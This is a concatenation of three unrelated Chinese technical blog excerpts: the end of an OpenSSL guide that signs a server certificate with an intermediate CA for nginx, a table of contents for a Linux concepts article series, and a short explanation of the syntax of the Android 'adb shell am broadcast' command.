  9. openssl ca -in $DIR/$NAME.csr -config ./openssl.cnf -days 3000 -out $DIR/$NAME.crt -cert $DIR/no3.crt -keyfile $DIR/no3.key

 sh no4domain.sh my.domain.net

当我们把使用三级CA签发的服务器证书配置在nginx 上时,在已经导入根CA的浏览器上肯定是会遇到证书报警的,然后依次把三级CA(no3.crt  )和二级CA(no2.crt)追加到服务器证书后面,浏览器ssl链接成功,点击证书查看如下图:

Linux的概念与体系

作者:Vamei 出处:http://www.cnblogs.com/vamei 欢迎转载,也请保留这段声明。谢谢!

 

我在这一系列文章中阐述Linux的基本概念。Linux操作系统继承自UNIX。一个操作系统是一套控制和使用计算机的软件。UNIX是一套规定,所有UNIX系统服从同一个的哲学体系。我侧重于Linux的宏观机制,而忽略许多技术细节。我想要展示Linux的骨架,提供一份辅助学习的Linux地图。无论是下层的内核,还是上层的具体操作和应用编程,都可以放入到这个框架中。写这个系列还有一个原因:之前写Python教程,发现Python的标准库有很大一部分,只不过是Python调用操作系统的接口。为了熟练的使用这些接口,操作系统的基础知识是不可或缺的。
希望这系列文章对大家有用。

 

我使用Linux Ubuntu 12.04,以此作为测试平台。

0. Linux简介与厂商版本

 
1. Linux开机启动

2. Linux文件管理

3. Linux的架构

4. Linux命令行与命令

5. Linux文件管理相关命令

6. Linux文本流

7. Linux进程基础

8. Linux信号基础

9. Linux进程关系

10. Linux用户

11. Linux从程序到进程

12. Linux多线程与同步

13. Linux进程间通信

14. Linux文件系统的实现

 

===============================================

补充:

Linux常用命令

 

如果你对Linux命令感兴趣,向你推荐

http://www.cnblogs.com/peida/archive/2012/12/05/2803591.html

作者是peida,他很认真的讲解了常用命令以及配置文件。

 

参考资料

参考书,见豆列:
http://book.douban.com/doulist/1663811/

在命令行中通过adb shell am broadcast发送广播通知

原文链接: http://blog.csdn.net/zuolongsnail/article/details/8167501

通过命令行执行adb shell am broadcast发送广播通知。

 

adb shell am broadcast 后面的参数有:

[-a <ACTION>]
[-d <DATA_URI>]
[-t <MIME_TYPE>]
[-c <CATEGORY> [-c <CATEGORY>] …]
[-e|–es <EXTRA_KEY> <EXTRA_STRING_VALUE> …]
[–ez <EXTRA_KEY> <EXTRA_BOOLEAN_VALUE> …]
[-e|–ei <EXTRA_KEY> <EXTRA_INT_VALUE> …]
[-n <COMPONENT>]
[-f <FLAGS>] [<URI>]

 

例如:

adb shell am broadcast -a com.android.test –es test_string “this is test string” –ei test_int 100 –ez test_boolean true

 

说明:蓝色为key,红色为alue,分别为String类型,int类型,boolean类型